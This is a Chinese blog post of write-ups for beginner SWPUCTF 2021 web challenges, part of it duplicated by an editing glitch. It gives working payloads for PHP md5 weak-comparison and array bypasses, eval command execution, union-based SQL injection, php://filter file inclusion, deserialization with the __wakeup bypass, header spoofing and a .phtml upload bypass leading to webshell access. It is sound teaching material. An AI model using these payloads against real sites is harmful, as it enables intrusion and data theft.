SWPUCTF 2021 新生赛 部分赛题复现
jicao
这是一道php代码审计的题,比较简单,但也学到了一个json格式的知识,题目代码如下:
<?php highlight_file('index.php'); include("flag.php"); $id=$_POST['id']; $json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm") {echo $flag;} ?>
分析源码可知,要求我们传入两个参数,一个用get方式传入json,一个用post方式传入id。传入id很简单,直接id=wllmNB就好了,下面我们介绍一下json和json_decode这个函数
我感觉json它的书写格式和python中的字典差不多,如json = '{"a":1,"b":2,"c":3,"d":4,"e":5}',它是一种类似于对应的关系
<?php $json = '{"a":1,"b":2,"c":3,"d":4,"e":5}'; var_dump(json_decode($json)); var_dump(json_decode($json, true)); ?>
以上程序会运行出:
object(stdClass)#1 (5) { ["a"] => int(1) ["b"] => int(2) ["c"] => int(3) ["d"] => int(4) ["e"] => int(5) } array(5) { ["a"] => int(1) ["b"] => int(2) ["c"] => int(3) ["d"] => int(4) ["e"] => int(5) }
由此可以猜测,题目中的
$json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm")
这两行的意思就是传入的json的值是x:wllm,由此我们得到payload如下:
执行即得到flag:
easy_md5
<?php highlight_file(__FILE__); include 'flag2.php'; if (isset($_GET['name']) && isset($_POST['password'])){ $name = $_GET['name']; $password = $_POST['password']; if ($name != $password && md5($name) == md5($password)){ echo $flag; } else { echo "wrong!"; } } else { echo 'wrong!'; } ?>
这是一道md5弱类型比较,有两种解决办法
md5弱类型比较
0e绕过
弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
只要两个变量经过md5加密之后前两位都变成0e就可以成功绕过,以下一些字符串的md5值前两位是0e
QNKCDZO 240610708 s878926199a s155964671a s21587387a
可以用前两个,payload如下:
数组绕过
md5()函数计算的是一个字符串的哈希值,对于数组则返回false
所以我们也可以这样传:
两种方法都可以得到flag
caidao
这题没什么好说的,打开之后提示就很明确了
密码都给了,直接用蚁剑连一下
看到根目录下的flag文件,打开就是flag
easyrce
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['url'])) { eval($_GET['url']); } ?>
命令执行,连过滤都没有,直接构造命令,两部就好
1.ls列出文件
/?system=("ls /");
2.cat查看可疑文件flllllaaaaaaggggggg
/?url=system(cat /flllllaaaaaaggggggg);
要记得最后以分号结尾,不然不执行
easy_sql
首先打开是一张图片,然后查看源码,发现说参数是wllm,试着传入wllm为1
接着查看字段数,/?wllm=-1'order by 4--+的时候报错了,说明三个字段
然后查看回显位置/?wllm=-1' union select 1,2,3--+
发现两个回显位,接着开始查看库名/?wllm=-1' union select 1,2,database()--+
得到库名之后查看表名/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"--+
接着查test_tb表的字段名:/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb"--+
最后直接查flag:/?wllm=-1' union select 1,2,flag from test_tb--+
include
打开环境之后,提示传入一个file,就随便传入一个试试,/?file=1,得到一段php代码
<?php ini_set("allow_url_include","on"); header("Content-type: text/html; charset=utf-8"); error_reporting(0); $file=$_GET['file']; if(isset($file)){ show_source(__FILE__); echo 'flag 在flag.php中'; }else{ echo "传入一个file试试"; } echo "</br>"; echo "</br>"; echo "</br>"; echo "</br>"; echo "</br>"; include_once($file); ?> flag 在flag.php中
看到allow_url_include=on想到php为协议,用filter读取flag.php里的内容,payload如下:/?file=php://filter/read=convert.base64-encode/resource=flag.php,于是得到一串用base64加密的字符,我们解密一下:
ez_unserialize
查看源代码,得到:
没什么东西,想到robot协议,于是查看一下/robots.txt
于是查看/cl45s.php
审计代码,发现和反序列化有关,于是序列化一下
------------恢复内容开始------------
jicao
这是一道php代码审计的题,比较简单,但也学到了一个json格式的知识,题目代码如下:
<?php highlight_file('index.php'); include("flag.php"); $id=$_POST['id']; $json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm") {echo $flag;} ?>
分析源码可知,要求我们传入两个参数,一个用get方式传入json,一个用post方式传入id。传入id很简单,直接id=wllmNB就好了,下面我们介绍一下json和json_decode这个函数
我感觉json它的书写格式和python中的字典差不多,如json = '{"a":1,"b":2,"c":3,"d":4,"e":5}',它是一种类似于对应的关系
<?php $json = '{"a":1,"b":2,"c":3,"d":4,"e":5}'; var_dump(json_decode($json)); var_dump(json_decode($json, true)); ?>
以上程序会运行出:
object(stdClass)#1 (5) { ["a"] => int(1) ["b"] => int(2) ["c"] => int(3) ["d"] => int(4) ["e"] => int(5) } array(5) { ["a"] => int(1) ["b"] => int(2) ["c"] => int(3) ["d"] => int(4) ["e"] => int(5) }
由此可以猜测,题目中的
$json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm")
这两行的意思就是传入的json的值是x:wllm,由此我们得到payload如下:
执行即得到flag:
easy_md5
<?php highlight_file(__FILE__); include 'flag2.php'; if (isset($_GET['name']) && isset($_POST['password'])){ $name = $_GET['name']; $password = $_POST['password']; if ($name != $password && md5($name) == md5($password)){ echo $flag; } else { echo "wrong!"; } } else { echo 'wrong!'; } ?>
这是一道md5弱类型比较,有两种解决办法
md5弱类型比较
0e绕过
弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
只要两个变量经过md5加密之后前两位都变成0e就可以成功绕过,以下一些字符串的md5值前两位是0e
QNKCDZO 240610708 s878926199a s155964671a s21587387a
可以用前两个,payload如下:
数组绕过
md5()函数计算的是一个字符串的哈希值,对于数组则返回false
所以我们也可以这样传:
两种方法都可以得到flag
caidao
这题没什么好说的,打开之后提示就很明确了
密码都给了,直接用蚁剑连一下
看到根目录下的flag文件,打开就是flag
easyrce
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['url'])) { eval($_GET['url']); } ?>
命令执行,连过滤都没有,直接构造命令,两部就好
1.ls列出文件
/?system=("ls /");
2.cat查看可疑文件flllllaaaaaaggggggg
/?url=system(cat /flllllaaaaaaggggggg);
要记得最后以分号结尾,不然不执行
easy_sql
首先打开是一张图片,然后查看源码,发现说参数是wllm,试着传入wllm为1
接着查看字段数,/?wllm=-1'order by 4--+的时候报错了,说明三个字段
然后查看回显位置/?wllm=-1' union select 1,2,3--+
发现两个回显位,接着开始查看库名/?wllm=-1' union select 1,2,database()--+
得到库名之后查看表名/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"--+
接着查test_tb表的字段名:/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb"--+
最后直接查flag:/?wllm=-1' union select 1,2,flag from test_tb--+
include
打开环境之后,提示传入一个file,就随便传入一个试试,/?file=1,得到一段php代码
<?php ini_set("allow_url_include","on"); header("Content-type: text/html; charset=utf-8"); error_reporting(0); $file=$_GET['file']; if(isset($file)){ show_source(__FILE__); echo 'flag 在flag.php中'; }else{ echo "传入一个file试试"; } echo "</br>"; echo "</br>"; echo "</br>"; echo "</br>"; echo "</br>"; include_once($file); ?> flag 在flag.php中
看到allow_url_include=on想到php为协议,用filter读取flag.php里的内容,payload如下:/?file=php://filter/read=convert.base64-encode/resource=flag.php,于是得到一串用base64加密的字符,我们解密一下:
ez_unserialize
查看源代码,得到:
没什么东西,想到robot协议,于是查看一下/robots.txt
于是查看/cl45s.php
审计代码,发现和反序列化有关,于是序列化一下,代码如下:
<?php highlight_file(_FILE_); class wllm{ public $admin = admin; public $passwd = ctf; } $a = new wllm(); $b = serialize($a); echo($b); ?>
得到O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";},传入payload得到:/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
babyrce
burp抓包一下,添加cookie的值如下:
重放,得到一个文件名:
url中查看文件:
发现它过滤了空格,我们可以用%09绕过,shell_exec是命令执行函数,我们直接执行cat%09/f*,得到:
Do_you_know_http
发现要求用WLLM的身份浏览,根据经验,burp抓包,然后修改user-agent字段为WLLM
然后发现返回success,Location字段有个a.php,于是把hello.php改成a.php访问试试
得到如图提示,是IP问题,要我们用本地IP访问,127.0.0.1是本机环回地址,我们在包中加入X-Forwarded-For:127.0.0.1字段,再发包
发现这次location字段变成了secretttt.php,我们访问这个文件就得到了flag
no_wakeup
由php源码可知,是一道与序列化相关的题,与之前那题不同的是,这题多了个wakeup函数,这里科普一下,wakeup函数有一个漏洞
CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
所以这题的思路就是先得到序列化的字符串,然后改一下表示对象属性个数的值,使之大于真实属性的值,序列化代码如下:
<?php highlight_file(_FILE_); class HaHaHa{ public $admin = admin; public $passwd = wllm; } $a = new HaHaHa(); $b = serialize($a); echo($b); ?>
得到O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},将类后面的数字即对象属性的个数改成3,得到O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
easyupload2.0
显而易见这是一道文件上传的题目
我们上传一个php文件然后抓包看看
应该是字符集的问题,但还是可以猜到应该和后缀有关,说明php后缀不行,被检测出来了,我们可以试试phtml
发现上传成功,成功爆出路径,接下来直接蚁剑连接一下找flag,但这个路径比较***钻,和往常都不太一样
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/16417563.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!